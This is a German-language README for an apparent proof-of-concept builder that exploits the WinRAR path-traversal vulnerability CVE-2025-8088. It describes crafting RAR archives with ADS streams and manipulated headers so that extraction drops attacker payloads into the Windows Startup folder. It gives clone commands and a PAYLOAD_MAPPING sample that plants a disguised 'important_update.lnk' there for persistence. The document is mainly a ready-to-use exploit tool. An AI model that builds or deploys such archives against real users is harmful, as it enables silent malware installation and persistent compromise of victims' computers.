CVE-2025-8088-WinRAR-builder

Ein POC-Exploit für die WinRAR-Schwachstelle (CVE-2025-8088), die Versionen 7.12 und älter betrifft

🚀 So funktioniert es

1. Erstellt ein RAR-Archiv mit eingebetteten anderen Payloads
2. Verwendet mehrere ADS-Streams 🔄 - Hängt Payload-Streams mit unterschiedlichen Path-Traversal-Tiefen an
3. Manipuliert RAR-Header ⚙️ - Modifiziert die Archivstruktur, um die Path-Traversal-Schwachstelle auszunutzen
4. Legt Payload im Autostart ab 📂 - Versucht, den Payload beim Extrahieren in den Windows-Autostart-Ordner zu schreiben

🛠️ Verwendung

1. Repository klonen

git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder

2. Payloads vorbereiten

mkdir payloads

• Füge deine Payloads zu diesem Ordner hinzu (exe, dll, lnk, ...)
• Ändere PAYLOAD_MAPPING im Skript

# 2. Ordne deinen Payload dem entsprechenden Ziel zu
#   Format: (dateiname_im_payloads_ordner, ziel_extrahier_pfad)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # Payload 1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # Payload 2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # Payload 3
    # Füge deinen eigenen hinzu    
]